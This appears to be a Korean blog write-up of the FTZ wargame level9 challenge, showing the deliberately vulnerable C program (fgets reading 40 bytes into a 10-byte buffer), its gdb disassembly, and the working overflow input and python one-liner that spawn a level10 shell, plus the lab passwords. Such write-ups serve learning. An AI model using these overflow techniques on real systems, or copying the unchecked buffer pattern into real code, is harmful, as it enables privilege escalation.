FTZ LEVEL 9
간단하게 포너블에도 입문하기 위해 FTZ 에 있는 BOF(Buffer Over Flow)에 대해 공부해보았다.
ID : level9
Password : apple
로 로그인 하면 된다.
[level9@ftz level9]$ ls
hint public_html tmp
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
/usr/bin/bof 의 소스라고 하며 소스코드가 나온다. 소스 코드를 분석해보자면 buf 와 buf2 에 각각 10만큼의 크기를 할당해주고 printf 함수로 "It can be overflow : "라는 문자열을 출력해준다.
그 뒤 fgets 함수로 buf 에 40만큼의 길이까지 표준으로 입력을 받고(?) if 문에서 strncmp 함수를 이용해 buf2 안에 있는 인자와 "go"라는 문자열을 2byte만큼 비교한뒤 참이면 printf함수로 "Good Skill!\n" 을 출력한뒤 setreuid를 통해 user의 권한을 level9에서 level10으로 바꾸고 /bin/bash 명령어를 통해 level10의 권한을 얻게 해준다.
여기서 문제는 buf[10] 과 buf[10] 만큼 크기를 지정해 주었는데 fgets 함수에서 길이를 40만큼이나 받는다. 따라서 이곳에서 bof가 터지게 된다.
여기서 위에 소스코드만 본다면 buf에서 10만큼 입력해준뒤 go를 입력하면 뚫려야 하지만 그렇지 않았다. 따라서 gdb로 분석해보기로 한다.
[level9@ftz level9]$ cd /usr/bin/
으로 bof 파일이 있는 곳으로 이동하였다.
여기서 gdb로 bof 를 까보려고 했으나 어떤 이유에서인지 제대로 기능하지 않았다.( 내 추측으로는 user는 level9인데 파일 권한은 root이기 때문이지 않을까 추측해 본다. ) 따라서 tmp 디렉토리에 소스코드를 그대로 복제해 온 뒤 컴파일 하여 gdb로 분석해보기로 하였다.
[level9@ftz level9]$ vim bof.c
로 vim 에디터를 열고
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
:wq!
소스코드를 복붙해준뒤 :wq!로 저장해주고 나간다.
[level9@ftz level9]$ gcc -o bof.o bof.c
위 명령어를 이용하여 bof.c 파일을 bof.o라는 목적파일로 변경해주고
[level9@ftz level9]$ ld -o bof bof.o
위 명령어로 실행파일로 컴파일 시켜준다. 이후 gdb 로 분석해 보자
[level9@ftz level9]$ gdb bof
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
set disassembly-flavor intel 명령어로 출력 형식(?)을 보기 쉬운 인텔형식으로 바꾸어주고
(gdb) i fu
All defined functions:
Non-debugging symbols:
0x080482e8 _init
0x08048310 system
0x08048320 fgets
0x08048330 strncmp
0x08048340 __libc_start_main
0x08048350 printf
0x08048360 setreuid
0x08048420 main
0x080484a8 __libc_csu_init
0x080484d8 __libc_csu_fini
0x08048530 _fini
0x10090704 call_gmon_start
0x10090728 __do_global_dtors_aux
0x10090764 frame_dummy
0x1009087c __do_global_ctors_aux
i fu 명령어로 전체적인 함수의 정보를 검색해본다. 보통 함수의 본체는 main 함수이니 우리가 봐야할 부분은 main함수 부분인거 같다.
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x804856a
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax
0x08048465 <main+69>: call 0x8048330 <strncmp>
0x0804846a <main+74>: add esp,0x10
0x0804846d <main+77>: test eax,eax
0x0804846f <main+79>: jne 0x80484a6 <main+134>
0x08048471 <main+81>: sub esp,0xc
0x08048474 <main+84>: push 0x804856d
0x08048479 <main+89>: call 0x8048350 <printf>
0x0804847e <main+94>: add esp,0x10
0x08048481 <main+97>: sub esp,0x8
0x08048484 <main+100>: push 0xbc2
0x08048489 <main+105>: push 0xbc2
0x0804848e <main+110>: call 0x8048360 <setreuid>
0x08048493 <main+115>: add esp,0x10
0x08048496 <main+118>: sub esp,0xc
0x08048499 <main+121>: push 0x804857a
---Type <return> to continue, or q <return> to quit---
0x0804849e <main+126>: call 0x8048310 <system>
0x080484a3 <main+131>: add esp,0x10
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
End of assembler dump.
main 함수를 까보았다. fgets함수로는 ebp-40 에서 입력을 받는것을 알 수 있고 strncmp함수는 ebp-24에서 'go' 라는 문자열과 비교한다는 것을 알 수 있다.
따라서 ebp-40에서 부터 입력을 받아 ebp-24의 위치까지 덮어씌운 뒤 go를 입력하면 된다. 간단하게 A를 16번 입력하고 go를 입력하면 권한을 얻을 수 있다.
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : AAAAAAAAAAAAAAAAgo
Good Skill!
[level10@ftz level9]$
보다 싶이 user가 level10으로 바뀐것을 확인 할 수 있다.
하지만! AAAAAAAAAAAAAAAAgo 는 너무 멋없지 않나?
간단한 python 코드로도 똑같은 결과를 얻을 수 있다.
[level9@ftz level9]$ (python -c "print 'A'*16 + 'go'";cat) | /usr/bin/bof
It can be overflow : Good Skill!
my-pass
Level10 Password is "interesting to hack!".
그 후 ftz에서 지원하는 my-pass 명령어를 통해 level10의 비밀번호를 얻을 수 있다.
level10은 bof와 관련된 내용이 아니므로 다음 포스팅은 level11로 하도록 하겠따! 하지만 내가 게을러서
오래~~ㅅ동안 글이 안올라올 예정이다....아마...?